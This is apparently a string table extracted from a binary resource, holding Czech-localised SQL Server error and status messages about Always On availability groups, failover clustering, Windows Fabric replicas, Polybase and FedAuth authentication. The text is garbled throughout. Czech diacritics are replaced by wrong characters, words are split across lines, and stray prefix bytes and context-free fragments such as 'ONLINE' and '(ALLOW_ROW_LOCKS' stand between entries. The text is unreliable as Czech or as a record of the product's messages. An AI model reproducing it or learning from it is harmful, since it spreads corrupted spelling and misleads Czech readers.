n obnovit datab�zi. Dala� informace o obnoven� datab�ze dostupnosti najdete na webu Knihy online pro SQL Server.

PYesun dat skupin dostupnosti Always On pro datab�zi %1!s! se obnovil. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

$Je nav�zan� pYipojen� skupin dostupnosti Always On k datab�zi %1!s! pro datab�zi %2!s! %3!s! v replice dostupnosti %4!s! s ID repliky: {%5!s!-%6!s!-%7!s!-%8!s!%9!s!-%10!s!%11!s!%12!s!%13!s!%14!s!%15!s!}. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

$Ukon
ilo se pYipojen� skupin dostupnosti Always On k datab�zi %1!s! pro datab�zi %2!s! %3!s! v replice dostupnosti %4!s! s ID repliky: {%5!s!-%6!s!-%7!s!-%8!s!%9!s!-%10!s!%11!s!%12!s!%13!s!%14!s!%15!s!}. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Byla pYijata poakozen� zpr�va pYenosu FileStream. Sekce zpr�vy %1!s! nen� platn�.

�Obnoven� datab�ze %1!s! bude vynech�no, proto~e datab�ze je ozna
ena jako nedostupn� datab�ze dostupnosti. Relace s prim�rn� replikou byla pYeruaena pYi navracen� datab�ze ke spole
n�mu bodu obnoven�. Uzel WSFC bu nedosahuje kvorum, nebo je z dovodu probl�mo s odkazy, konfigurac� koncov�ho bodu nebo opr�vnn�m (pro �
et syst�mu nebo certifik�t zabezpe
en�) pYeruaeno komunika
n� spojen�. Chcete-li z�skat pY�stup k datab�zi, je nutn� ur
it, k jak� zmn doalo v konfiguraci relace, a vr�tit zmnu zpt.

Aby mohlo b�t obnoven� dokon
eno a datab�ze spuatna v re~imu online, datab�ze dostupnosti %1!s! mus� 
ekat, dokud sekund�rn� replika neobdr~� transak
n� protokol z prim�rn� datab�ze. OvYte, zda je spuatna instance serveru, kter� hostuje prim�rn� repliku.

 Identifikovala se hodnota LSN obnoven� %1!s! pro datab�zi s ID %2!s!. Tato zpr�va je jenom informa
n�. Nevy~aduje se ~�dn� akce u~ivatele.

|Nepovedlo se z�skat v�hradn� pY�stup k roza�Yen�mu z�sobn�ku rozvtven� obnoven� (chyba %1!s!). Pokud pot�~e potrvaj�, bude pravdpodobn nutn� restartovat instanci syst�mu SQL Server.

@Z�loha protokolu pro datab�zi %1!s! v sekund�rn� replice �span vytvoYila z�lo~n� soubory, ale nezajistila, aby byl nejdY�ve zaps�n bod z�lohy v prim�rn� replice. Tato zpr�va je pouze informa
n�. Zachovejte tuto z�lohu protokolu spole
n s dala�mi z�lohami protokolo t�to datab�ze.

�Z�loha v sekund�rn� datab�zi %1!s! byla ukon
ena, ale prim�rn� replice nejde odeslat zpr�vu o ukon
en� z�lohy. Tato zpr�va je pouze informa
n�. Prim�rn� replika by mla tuto chybu zjistit a odpov�daj�c�m zposobem vy
istit historii z�lohov�n�.

�Nekvalifikovan� transakce v datab�zi %1!s! pro zmnu stavu skupin dostupnosti Always On se vracej� zpt. Odhad dokon
en� operace vr�cen� zpt: %2!s! %%. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

ONLINE

(ALLOW_ROW_LOCKS

,ALLOW_PAGE_LOCKS

 deaifrov�n�

vytvoYen�

Replikace

(Sledov�n� zmn

0Change Data Capture

zrcadlen�

prim�rn�

 sekund�rn�

SCHEDULER

NUMANODE

8je syst�mov� datab�ze.

Ljedn� jako distribu
n� datab�ze.

8doalo k vnitYn� chyb.

�je sou
�st� relace zrcadlen�. Vypnte relaci zrcadlen� a opakujte akci.

�nen� v re~imu obnoven� SIMPLE. ZmHte re~im obnoven� na SIMPLE a opakujte akci.

0je sn�mek datab�ze.

8nen� aktu�ln povoleno.

4Proxy server clusteru

odd�l

8Datab�ze nen� dostupn�.

|je syst�mov� datab�ze. Zkontrolujte, zda c�l�te na u~ivatelskou datab�zi. Pokud chcete pou~�vat clusterovan� tabulky columnstore, mo~ete pro n vytvoYit standardn� u~ivatelsk� datab�ze.

�transakce je aktu�ln aktivn�. Prov�st pY�kaz sp_db_enable_clustered_columnstores s�m o sob

8doalo k vnitYn� chyb.

�je sou
�st� p�ru zrcadlen�. Mo~ete zak�zat zrcadlen�, zmnit nastaven� a znovu zrcadlen� zav�st.

0je sn�mek datab�ze.

Hje sou
�st� skupiny dostupnosti Always On. Mo~ete odebrat datab�zi ze skupiny dostupnosti, zmnit nastaven� a pak pYidat datab�zi zpt do skupiny dostupnosti.

�je distribu
n� datab�ze replikace. Zkontrolujte, zda c�l�te na standardn� u~ivatelskou datab�zi.

nepou~�v� model obnoven� SIMPLE. Mo~ete do
asn pYej�t na jednoduch� model obnoven�, pot� downgradovat a znovu pYepnout zpt.

<obsahuje jeden nebo v�ce clusterovan�ch indexo columnstore. Mo~ete tyto indexy odstranit nebo vytvoYit clusterovan� indexy typu B-strom a opakov�n� akce.

odkazuje

 odkazov�no

@indexy columnstore nejsou v aktu�ln� edici syst�mu SQL Server podporov�ny. Informace o podporovan�ch edic�ch naleznete na webu Knihy online pro SQL Server.

LMetadata odd�lu nebyla nalezena.

0Glob�ln� transakce

�lo~iat

 POKRAOVAT

 POZASTAVIT

PXERU`IT

PXERU`IT

@allow_enclave_computations

v�po
ty

(m�stn� po
�ta


,aktu�ln� u~ivatel

4query_capture_policy

(execution_count

<total_compile_cpu_time_ms

@total_execution_cpu_time_ms

@OPTIMIZE_FOR_SEQUENTIAL_KEY

Hstale_capture_policy_threshold

den

�Z dovodu omezen� syst�mu SQL Server se nepodaYilo prov�st pY�kaz jazyka T-SQL v r�mci procedury.\nPo dokon
en� procedury provete v kontextu datab�ze %1!s! n�sleduj�c� pY�kaz jazyka T-SQL:\n%2!s!

PSQL �span spouat� rozaiYitelnost.

|Zpr�va nebo zpr�vy STDOUT z extern�ho skriptu: %1!s!%2!s!

XStav spuatn� extern�ho skriptu: %1!s!.

`Doalo k chyb extern�ho skriptu: %1!s!%2!s!

|Zpr�va nebo zpr�vy STDERR z extern�ho skriptu: %1!s!%2!s!

PZpr�vy z modulu PREDICT: %1!s!%2!s!

pProb�h� ukon
ov�n� z dovodu ud�losti XEvent %1!s!.

K t�to relaci bylo pYiYazeno ID trasov�n� %1!s!. Pokud budete potYebovat pomoc z�kaznick� podpory, uvete toto ID trasov�n�.

�NepodaYilo se vytvoYit skupinu slu~by Windows Server Failover Clustering (WSFC) s n�zvem %1!s!. Skupina slu~by WSFC se zadan�m n�zvem ji~ existuje. Opakujte operaci s n�zvem skupiny, kter� je v clusteru jedine
n�.

LSkupiny dostupnosti Always On: M�stn� slu~ba Windows Server Failover Clustering nen� dostupn�. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

XSkupiny dostupnosti Always On: M�stn� uzel slu~by Windows Server Failover Clustering u~ nen� online. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

XSkupiny dostupnosti Always On: ek� se na spuatn� m�stn� slu~by Windows Server Failover Clustering. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

HSkupiny dostupnosti Always On: Je spuatn� m�stn� slu~ba Windows Server Failover Clustering. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

dSkupiny dostupnosti Always On: ek� se na spuatn� m�stn�ho uzlu slu~by Windows Server Failover Clustering. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

PSkupiny dostupnosti Always On: Byl spuatn m�stn� uzel slu~by Windows Server Failover Clustering. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Skupiny dostupnosti Always On: ek� se na uveden� m�stn�ho uzlu slu~by Windows Server Failover Clustering do re~imu online. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

LSkupiny dostupnosti Always On: M�stn� uzel slu~by Windows Server Failover Clustering je online. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

Always On: Spouat� se m�stn� replika skupiny dostupnosti %1!s!. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Always On: Skupina dostupnosti %1!s! byla odebr�na v dob, kdy byla replika dostupnosti v t�to relaci syst�mu SQL Server ve stavu offline. M�stn� replika se odebere te. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

Always On: Zastavuje se m�stn� replika skupiny dostupnosti %1!s!. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

DAlways On: PYipravuje se pYechod m�stn� repliky skupiny dostupnosti %1!s! do prim�rn� role. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

@Always On: PYipravuje se pYechod m�stn� repliky skupiny dostupnosti %1!s! do role Yeaen�. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

PAlways On: Skupina dostupnosti %1!s! pYech�z� do stavu offline, proto~e prob�h� jej� odstrann�. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

@Always On: Spuatn� slu~by Skupiny dostupnosti se zruailo, proto~e se SQL Server vyp�n�. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Nepovedlo se aktualizovat stav repliky, proto~e doalo k v�jimce %1!s!.

�Always On: M�stn� replika skupiny dostupnosti %1!s! pYech�z� do stavu offline. Bu vyprael 
asov� limit zapoj
en�, nebo se obnoven� zapoj
en� slu~by nezdaYilo. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

,Always On: Spr�vce repliky dostupnosti pYech�z� do stavu offline. Dovod: %1!s!. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

Always On: M�stn� replika skupiny dostupnosti %1!s! pYech�z� do stavu offline, proto~e odpov�daj�c� prostYedek v clusteru slu~by Windows Server Failover Clustering (WSFC) u~ nen� online. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

Always On: M�stn� replika skupiny dostupnosti %1!s! se restartuje, proto~e se restartovala existuj�c� prim�rn� replika nebo pYi selh�n� doalo k pYevzet� skupiny dostupnosti novou prim�rn� replikou. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Always On: Prob�h� explicitn� pYechod zdroje slu~by Windows Server Failover Clustering (WSFC), kter� odpov�d� skupin dostupnosti %1!s!, do stavu selh�n�. Stav prostYedku nen� v dan� instanci syst�mu SQL Server konzistentn� se stavem skupiny dostupnosti. Stav zdroje slu~by WSFC ozna
uje, ~e m�stn� replika dostupnosti je prim�rn� replikou, ale ~e se nenach�z� v prim�rn� roli. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Always On: Odeb�r� se m�stn� replika skupiny dostupnosti %1!s!. Instanci syst�mu SQL Server se nepovedlo ovYit integritu konfigurace skupiny dostupnosti v �lo~iati Windows Server Failover Clustering (WSFC). To se o
ek�v�, pokud je skupina dostupnosti odebran� z jin� instance syst�mu SQL Server. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Always On: M�stn� replika skupiny dostupnosti %1!s! pYech�z� do stavu offline. T�to replice se nepodaYilo na
�st trvalou konfiguraci kvoli neshod verz�. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

|Always On: Restartuje se m�stn� replika skupiny dostupnosti %1!s!, proto~e se j� nepodaYilo na
�st trvalou konfiguraci. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

Always On: M�stn� replika skupiny dostupnosti %1!s! pYech�z� do stavu offline. T�to replice se nepodaYilo na
�st trvalou konfiguraci a u~ se vy
erpal maxim�ln� povolen� po
et pokuso o restartov�n�. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

0Nepovedlo se zachovat data konfigurace skupiny dostupnosti %1!s!. M�stn� replika dostupnosti bu nen� prim�rn� replikou, nebo je pr�v ukon
ov�na.

Spouatn� spr�vce repliky dostupnosti Always On se pYeruailo, proto~e vlastnost FixQuorum slu~by Windows Server Failover Clustering (WSFC) nen� dostupn�. Po~adovan� oprava Hotfix, KB 2494036, pravdpodobn nen� v syst�mu Windows Server 2008 nebo Windows Server 2008 R2 nainstalovan�. Dala� informace najdete v 
l�nku KB 2494036 znalostn� b�ze Microsoft Knowledge Base (Je k dispozici oprava hotfix umo~Huj�c� konfigurovat uzel clusteru, kter� nem� hlasy kvora v syst�mu Windows Server 2008 a Windows Server 2008 R2).

�Always On: Spouat� se spr�vce repliky dostupnosti. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

XAlways On: Spr�vce repliky dostupnosti 
ek�, a~ instance syst�mu SQL Server povol� pYipojen� kliento. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

HM�stn� replika dostupnosti skupiny dostupnosti %1!s! nemo~e pYijmout sign�l %2!s! v aktu�ln� roli repliky %3!s! a stavu (konfigurace %4!s! v �lo~iati slu~by Windows Server Failover Clustering, m�stn� skupina dostupnosti %5!s! je pYipojena). Sign�l repliky dostupnosti je s ohledem na aktu�ln� roli repliky neplatn�. Jakmile bude sign�l povolen na z�klad aktu�ln� role m�stn� repliky dostupnosti, opakujte operaci.

 Uveden� skupiny dostupnosti %1!s! do online re~imu se nepovedlo. asov� limit operace vyprael. Pokud je toto skupina dostupnosti WSFC (Windows Server Failover Clustering), zkontrolujte, jestli je online m�stn� uzel WSFC. Pak ovYte, jestli v clusteru WSFC existuje prostYedek skupiny dostupnosti. Pokud tento probl�m potrv�, bude pravdpodobn nutn� skupinu dostupnosti vyYadit a vytvoYit znovu.

�Datab�zi %1!s! nelze odstranit ze skupiny dostupnosti %2!s!. Datab�ze nepatY� do skupiny dostupnosti nebo nebyla ke skupin pYipojena. Zkontrolujte n�zvy datab�ze a skupiny dostupnosti a pY�kaz opakujte.

�Spuatn� spr�vce repliky skupin dostupnosti Always On se nepovedlo kvoli chyb syst�mu SQL Server %1!s!. Jestli chcete zjistit pY�
inu t�to chyby, zkontrolujte pYedchoz� chybu v protokolu chyb syst�mu SQL Server.

@Operace datab�ze %1!s! v datab�zi dostupnosti %2!s! skupiny dostupnosti %3!s! byla opuatna. Doalo ke zmn 
�sla sekvence m�stn� repliky dostupnosti (pYedchoz� 
�slo sekvence: %4!s!, aktu�ln� 
�slo sekvence: %5!s!). Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Nastaven� informac� o datab�zi pro skupinu dostupnosti %1!s! se nezdaYilo. M�stn� replika dostupnosti nen� prim�rn� nebo je pr�v ukon
ov�na. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

`Datab�zi %1!s! nelze pYipojit ke skupin dostupnosti %2!s!. Datab�ze ji~ byla ke skupin dostupnosti pYipojena. Tato zpr�va je informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

Slu~ba Skupiny dostupnosti Always On se nespustila (dovod: %1!s!). Tato zpr�va je informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

PZpracov�n� po ukon
en� re~imu online pro skupinu dostupnosti %1!s! bylo ukon
eno. Bu ji~ bylo dokon
eno zpracov�n� po ukon
en� re~imu online, m�stn� replika dostupnosti ji~ nen� prim�rn�, nebo prob�h� vyYazen� skupiny dostupnosti. Tato zpr�va je informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Spuatn� �lohy pracovn�ho procesu pro oznamov�n� ud�lost� slu~by WSFC (Windows Server Failover Clustering) se nezdaYilo (chyba SQL OS: %1!s!). Pokud pot�~e potrvaj�, bude pravdpodobn nutn� restartovat instanci syst�mu SQL Server.

�Ukon
en� �lohy pracovn�ho procesu pro oznamov�n� ud�lost� WSFC se nezdaYilo (chyba SQL OS: %1!s!). Pokud pot�~e potrvaj�, bude pravdpodobn nutn� restartovat instanci syst�mu SQL Server.

�NepodaYilo se z�skat v�hradn� pY�stup k datom konfigurace m�stn� skupiny dostupnosti (chyba SQL OS: %1!s!). Pokud pot�~e potrvaj�, bude pravdpodobn nutn� restartovat instanci syst�mu SQL Server.

Mo~nost repliky ur
en� v pY�kazu ALTER AVAILABILITY GROUP '%1!s!' MODIFY DDL je stejn� jako konfigurace skupiny dostupnosti v mezipamti.

Datab�zi %1!s! nelze pYipojit ke skupin dostupnosti %2!s!. Pravdpodobn prob�h� odeb�r�n� datab�ze ze skupiny dostupnosti. Po dokon
en� operace odebr�n� datab�ze nebude datab�ze nad�le pYipojena ke skupin dostupnosti. Pot� operaci pYipojen� datab�ze opakujte.

pPYi plnn� s�mantick�ho indexu tabulky nebo indexovan�ho zobrazen� %2!s! (ID tabulky nebo indexovan�ho zobrazen� %3!s!, ID datab�ze %4!s!, ID dokumentu %5!s!) doalo k chyb %1!s!.

�Pokud je zad�na klauzule WITH NO POPULATION, nemo~e pY�kaz ALTER FULLTEXT INDEX odebrat mo~nost STATISTICAL_SEMANTICS z posledn�ho sloupce v indexu, pro kter� je mo~nost nastavena. Odeberte klauzuli WITH NO POPULATION.

�Pro sloupec s mo~nost� STATISTICAL_SEMANTICS bylo zad�no ID n�rodn�ho prostYed�, kter� nen� podporov�no. Zkontrolujte, zda je ID n�rodn�ho prostYed� spr�vn� a zda byly nainstalov�ny odpov�daj�c� jazykov� statistiky.

�Upozornn�: PYi vyplHov�n� tabulky nebo indexovan�ho zobrazen� %1!s! (ID tabulky nebo indexovan�ho zobrazen�: %2!s!, ID datab�ze: %3!s!) byl zjiatn dokument s hodnotou fultextov�ho kl�
e %4!s!, kter� ur
uje jazyk, kter� nen� podporov�n pro s�mantick� indexov�n�. Nkter� sloupce dan�ho Y�dku nebudou do s�mantick�ho indexu zahrnuty.

4Datab�ze statistiky s�mantick�ho jazyka nen� zaregistrov�na. Fulltextov� indexy pou~�vaj�c� mo~nost STATISTICAL_SEMANTICS nelze vytvoYit ani naplnit.

LDatab�ze statistiky s�mantick�ho jazyka nen� pY�stupn� nebo nen� platn�. Fulltextov� indexy pou~�vaj�c� mo~nost STATISTICAL_SEMANTICS nelze vytvoYit ani naplnit.

�Aktu�ln� hodnota mo~nosti %1!s! pro tabulku %2!s!, index %3!s! je %4!s!.

�Upozornn�: Byl pYekro
en limit velikosti Y�dku %1!s! B pro pameov optimalizovan� tabulky a nebude fungovat na odbratel�ch se syst�mem SQL Server 2014 nebo stara�m. Zjednoduate definici tabulky.

�Upozornn�: Pro datab�zi, kter� obsahuje jednu nebo v�ce pameov optimalizovan�ch tabulek se st�lost� SCHEMA_AND_DATA, bylo povoleno aifrov�n�. Data v tchto pameov optimalizovan�ch tabulk�ch nebudou aifrov�na.

�Upozornn�: Pameov optimalizovan� tabulka se st�lost� SCHEMA_AND_DATA byla vytvoYena v datab�zi, ve kter� je povoleno aifrov�n�. Data v pameov optimalizovan� tabulce nebudou aifrov�na.

tDisallowing page allocations for database '%1!s!' due to insufficient memory in the resource pool '%2!s!'. See 'http://go.microsoft.com/fwlink/?LinkId=510837' for more information.

�Opakovan� vytvoYen� souboru protokolu nen� podporovan� pro datab�ze, kter� obsahuj� pameov optimalizovan� tabulky.

�PYi pokusu spr�vce asynchronn�ch informac� o upozornn� klienta (ID %2!s!) na dokon
en� operace doalo k chyb (0x%1!s!).  Tato zpr�va je pouze informa
n�.  Nen� vy~adov�na ~�dn� akce u~ivatele.

,PYi prov�dn� operace Windows Fabric v datab�zi %2!s! (ID %3!s!) pomoc� slu~by technologie Fabric %1!s! doalo k pYechodn� chyb. Dala� informace o chyb�ch, ke kter�m doalo, najdete v protokolu chyb SQL Serveru. Pokud s t�m budou d�l probl�my, obraete se na spr�vce syst�mu.

(PYi prov�dn� operace Windows Fabric v datab�zi %2!s! (ID %3!s!) pomoc� slu~by technologie Fabric %1!s! doalo k trval� chyb. Dala� informace o chyb�ch, ke kter�m doalo, najdete v protokolu chyb SQL Serveru. Pokud s t�m budou d�l probl�my, obraete se na spr�vce syst�mu.

�Slu~ba technologie Fabric %1!s! nemo~e naj�t za
�tek a konec hodnoty LSN protokolu pro datab�zi %2!s!.  Dala� informace o chyb�ch, ke kter�m doalo, naleznete v protokolu chyb syst�mu SQL Server.  Pokud pot�~e potrvaj�, obraete se na spr�vce syst�mu.

LOperace sestaven� repliky v datab�zi %1!s! (ID %2!s!) odd�lu technologie Windows Fabric %3!s! (ID odd�lu %4!s!) byla zruaena technologi� Windows Fabric.  Technologie Windows Fabric zruaila operaci sestaven� repliky.  Tato zpr�va je pouze informa
n�.  Nen� vy~adov�na ~�dn� akce u~ivatele.

<V odd�lu technologie Windows Fabric %1!s! (ID odd�lu %2!s!) doalo k chyb %3!s! a odd�l nahl�sil chybu %4!s! technologii Windows Fabric. Dala� informace o chyb�ch, ke kter�m doalo, najdete v protokolu chyb SQL Serveru. Pokud s t�m budou d�l probl�my, obraete se na spr�vce syst�mu.

tNa
ten� popisu slu~by z technologie Windows Fabric pro odd�l %1!s! selhalo (chyba technologie Windows Fabric 0x%2!s!). Pokud s t�m budou d�l probl�my, obraete se na spr�vce syst�mu.

dPYi odstraHov�n� datab�ze %1!s! doalo k chyb (k�d chyby SQL: %2!s!).  Dala� informace z�sk�te pomoc� k�du chyby SQL.  Pokud pot�~e potrvaj�, obraete se na spr�vce syst�mu.

pV �loze 
asova
e pro vyYazen� datab�ze doalo k chyb (K�d chyby SQL: %1!s!).  Dala� informace z�sk�te pomoc� k�du chyby SQL.  Pokud pot�~e potrvaj�, obraete se na spr�vce syst�mu.

,U vydavatele repliky Fabric doalo k chyb (k�d chyby SQL: %1!s!, stav: %2!s!) pYi publikov�n� ud�losti %3!s! odbrateli typu %4!s! v odd�lu Fabric %5!s! (ID odd�lu: %6!s!). Dala� informace z�sk�te pomoc� k�du chyby SQL. Pokud pot�~e potrvaj�, obraete se na spr�vce syst�mu.

�Aktualizace informac� o prim�rn� replice pro odd�l %1!s! se nezdaYila (chyba technologie Windows Fabric 0x%2!s!).  Tato zpr�va je pouze informa
n�.  Nen� vy~adov�na ~�dn� akce u~ivatele.

�V syst�mu doalo k chyb SQL %1!s!. (z�va~nost: %2!s!, stav: %3!s!), pro kterou neexistuje odpov�daj� text chyby. Dala� informace o pY�
in chyby a pY�sluan� opravn� akci z�sk�te pomoc� 
�sla chyby SQL.

\Operace otevYen� repliky pro datab�zi %1!s! (ID %2!s!) odd�lu Windows Fabric s ID %3!s! se zruaila. Tato zpr�va je jenom informa
n�. U~ivatel nemus� prov�dt ~�dn� akce.

�Operace otevYen� repliky pro datab�zi %1!s! (ID %2!s!) odd�lu Windows Fabric s ID %3!s! selhalo. Dala� informace najdete v protokolu chyb SQL Serveru. Tato zpr�va je jenom informa
n�. U~ivatel nemus� prov�dt ~�dn� akce.

�Doalo k pYechodn� chyb datab�ze %1!s! (k�d chyby: 0x%2!s!) pYi prov�dn� �lohy %3!s!. Informace o chyb�ch, ke kter�m doalo, najdete v protokolu chyb SQL Serveru. Pokud s t�m budou d�l probl�my, kontaktujte spr�vce syst�mu.

�Vr�cen� zpt znovu proveden� akce je spuatn� v aktivn� sekund�rn� roli v datab�zi %1!s! (ID %2!s!). Hodnota LSN obnoven�: %3!s!, pos�len� hodnota LSN: %4!s!. Pokud s t�m budou d�l probl�my, kontaktujte spr�vce syst�mu.

Volalo se z�sk�n� aktu�ln�ho probhu pro datab�zi %1!s! (ID %2!s!), kter� mla nevyY�zenou operaci vr�cen� zpt opakovan� akce. Informace o chyb�ch, ke kter�m doalo, najdete v protokolu chyb SQL Serveru. Pokud s t�m budou d�l probl�my, kontaktujte spr�vce syst�mu.

Nepovedlo se odeslat �lohy dokon
en� zmny role pro: %1!s! (URI: %2!s!, ID odd�lu %3!s!). Doalo k chyb (k�d chyby: 0x%4!s!)

�ek�n� na zjiatn� nov�ho stavu repliky pro AGID %1!s! a ReplicaID %2!s! selhalo.

<Nepovedlo se odeslat logickou �lohu opakovan� synchronizace replik indexo pro: %1!s! (URI: %2!s!, ID odd�lu: %3!s!). Doalo k chyb (k�d chyby: 0x%4!s!).

�PYi spuatn� repliky se nepovedlo parsovat nastaven� mezipamti sloupco datov�ho skladu.

�Nepovedlo se aktualizovat konfiguraci vzd�len� repliky pro slu~bu prostYedko infrastruktury %1!s!.

�Nepovedlo se pYelo~it ID logick�ho uzlu DW pro fyzickou datab�zi %1!s!, kter� je hostovan� slu~bou v�po
to: %2!s!.

\VyYazen� osamocen� intern� tabulky: %1!s!

�Upozornn�: l�nky se sloupci datov�ho typu varchar(max), nvarchar(max) a varbinary(max) nejsou na odbratel�ch se syst�mem SQL Server 2014 nebo stara�m podporov�ny v kombinaci s pameov optimalizovan�mi tabulkami.

�Upozornn�: Nov� n�zev spravovan� datab�ze %1!s! je stejn� jako ten star�.

�Doalo k chyb pYi konfiguraci agenta SQL: chyba %1!s!, z�va~nost %2!s!, stav %3!s!.

�Doalo k chyb pYi konfiguraci agenta SQL: chyba %1!s!, z�va~nost %2!s!, stav %3!s!.

�Pracovn� postup selhal kvoli omezov�n�: server %1!s!, datab�ze %2!s!

HAktualizace %1!s! se nepovedla.

�Ulo~en� procedura se �span dokon
ila. Slu~ba modulu Polybase je zak�zan�. Restartujte pros�m slu~bu Polybase DMS.

Ulo~en� procedura se �span dokon
ila. Slu~ba modulu Polybase je povolen�. Restartujte pros�m slu~bu modulu Polybase a slu~bu DMS.

�Tato ulo~en� procedura nen� dostupn�, proto~e nen� povolen� funkce Polybase.

|Hlavn� uzel nejde z v�po
etn� skupiny Polybase odstranit.

HFunkce Polybase byla zak�z�na.

�Dovod: Selhala inicializace FedAuth RPS pYi na
�t�n� CLSID pro RPS ProgID.

�Dovod: Selhala inicializace FedAuth RPS pYi vytv�Yen� instance objektu Passport.RPS modelu COM.

�Dovod: Selhala inicializace FedAuth RPS pYi inicializaci objektu RPS modelu COM.

�Dovod: Selhalo ovYov�n� FedAuth RPS pYi z�sk�v�n� objektu IRPSAuth.

�Dovod: Selhalo ovYov�n� FedAuth RPS pYi z�sk�v�n� objektu IRPSPropBag.

�Dovod: Selhalo ovYov�n� FedAuth RPS v probhu operace IRPS::Authenticate.

�Dovod: Selhalo ovYov�n� FedAuth RPS pYi z�sk�v�n� objektu IRPSValidatedPropertyBag.

�Dovod: Selhalo ovYov�n� FedAuth RPS v probhu operace SetAuthPolicy.

�Dovod: Selhalo ovYov�n� FedAuth RPS v probhu operace ValidateTicketWithAuthPolicy.

�Dovod: Selhalo ovYov�n� FedAuth RPS pYi na
�t�n� kl�
e relace.

�Dovod: Selhalo ovYov�n� FedAuth RPS pYi inicializaci objektu HMAC Hash.

�Dovod: Selhalo ovYov�n� FedAuth RPS pYi v�po
tu podpisu HMAC Hash.

�Dovod: OvYov�n� FedAuth RPS selhalo pYi porovn�v�n� hashovan�ho podpisu HMAC s podpisem odeslan�m klientem.

�Dovod: Selhalo ovYov�n� FedAuth RPS pYi na
�t�n� hodnoty MemberId Low.

�Dovod: Selhalo ovYov�n� FedAuth RPS pYi na
�t�n� hodnoty MemberId High.

�Dovod: Selhalo ovYov�n� FedAuth RPS pYi na
�t�n� hodnoty MemberName.

�Dovod: PYi otev�r�n� �lo~iat certifik�to selhala inicializace FedAuth AzureActiveDirectoryService.

�Dovod: PYi pokusu o vyhled�n� certifik�tu v �lo~iati selhala inicializace FedAuth AzureActiveDirectoryService.

Dovod: Inicializace FedAuth AzureActiveDirectoryService selhala pYi pokusu o inicializaci objektu chyby (Error) pro proxy server slu~by.

�Dovod: PYi pokusu o vytvoYen� proxy serveru slu~by selhala inicializace FedAuth AzureActiveDirectoryService.

�Dovod: PYi pokusu o otevYen� proxy serveru slu~by selhala inicializace FedAuth AzureActiveDirectoryService.

�Dovod: PYi pokusu o inicializaci objektu haldy selhalo roza�Yen� skupiny FedAuth AzureActiveDirectoryService.

�Dovod: PYi pokusu o inicializaci objektu chyby selhalo roza�Yen� skupiny FedAuth AzureActiveDirectoryService.

�Dovod: PYi vyhled�v�n� 
lenstv� ve skupin selhalo roza�Yen� skupiny FedAuth AzureActiveDirectoryService.

�Dovod: PYi ovYov�n� federovan�ho kontextu selhalo roza�Yen� skupiny FedAuth AzureActiveDirectoryService.

�Dovod: Rozbalen� skupiny FedAuth AzureActiveDirectoryService selhalo z nezn�m�ho dovodu.

Dovod: Doalo k chyb pYi pokusu o na
ten� podpisu HMAC hodnoty NONCE klienta ~�dosti PRELOGIN pro nastaven� tokenu FeatureExtAck.

�Dovod: Doalo k pokusu o pYihl�aen� k dom�n, kter� nebyla dom�nou Microsoft, v relaci, kter� nebyla relac� SDS.

�Dovod: Tato knihovna FedAuth nen� podporovan� vrstvou zabezpe
en� pro ovYov�n�.

�Dovod: Tento typ l�stku FedAuth nen� podporovan� vrstvou zabezpe
en� pro ovYov�n�.

�Dovod: PYep�na
 funkc� pro tento protokol FedAuth je vypnut� (nastaven� na hodnotu OFF).

�Dovod: Doalo k selh�n� pYi z�sk�v�n� maxim�ln�ho limitu pamti haldy z konfigurace bhem rozaiYov�n� skupiny AAD.

`Dovod: PYi parsov�n� tokenu FedAuth doch�z� k chyb u~ivatele. Mla by existovat samostatn� ud�lost XEvent s n�zvem fedauth_web_token_failure indikuj�c� skute
n� k�d chyby

\Dovod: PYi parsov�n� tokenu FedAuth doch�z� k chyb syst�mu. Mla by existovat samostatn� ud�lost XEvent s n�zvem fedauth_web_token_failure indikuj�c� skute
n� k�d chyby

�Dovod: OvYen� bylo �span�, ale datab�ze je ve stavu obnovov�n�.

�Dovod: PYihl�aen� selhalo, proto~e se pokouaelo pou~�vat integrovan� ovYov�n�, kter� nepodporujeme.

